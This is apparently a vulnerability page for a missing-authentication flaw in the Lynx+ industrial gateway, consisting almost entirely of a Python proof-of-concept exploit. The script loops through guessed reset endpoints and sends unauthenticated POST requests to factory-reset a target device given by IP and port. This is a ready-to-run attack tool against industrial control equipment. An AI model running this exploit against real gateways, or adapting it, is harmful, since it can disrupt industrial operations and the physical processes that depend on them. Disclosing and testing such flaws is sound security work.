CVE-2025-58083: General Industrial Controls Lynx+ Gateway 身份验证缺失导致远程设备重置漏洞

#!/usr/bin/env python3 """ CVE-2025-58083 PoC - Lynx+ Gateway Authentication Bypass Discovered by: [email protected] CVSS Score: 10.0 (CRITICAL) """ import requests import sys import argparse def reset_device(target_ip, target_port=80): """ Exploit the missing authentication vulnerability to reset the Lynx+ Gateway device """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2025-58083...") # Common reset endpoints reset_endpoints = [ "/api/reset", "/admin/reset", "/cgi-bin/reset", "/api/system/reset", "/admin/factory/reset", "/cgi-bin/system?action=reset" ] for endpoint in reset_endpoints: try: url = f"http://{target_ip}:{target_port}{endpoint}" # Send reset request without any authentication headers = { 'User-Agent': 'Mozilla/5.0 (compatible; exploit-poc)', 'Content-Type': 'application/x-www-form-urlencoded' } response = requests.post(url, headers=headers, timeout=5, verify=False) print(f"[*] Testing endpoint: {endpoint}") print(f"[*] Status Code: {response.status_code}") # Check for successful reset indication if response.status_code in [200, 201, 204]: print(f"[!] Possible successful reset trigger at {endpoint}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") continue print("[*] Reset endpoints tested. Check device status manually.") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-58083 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') args = parser.parse_args() reset_device(args.target, args.port)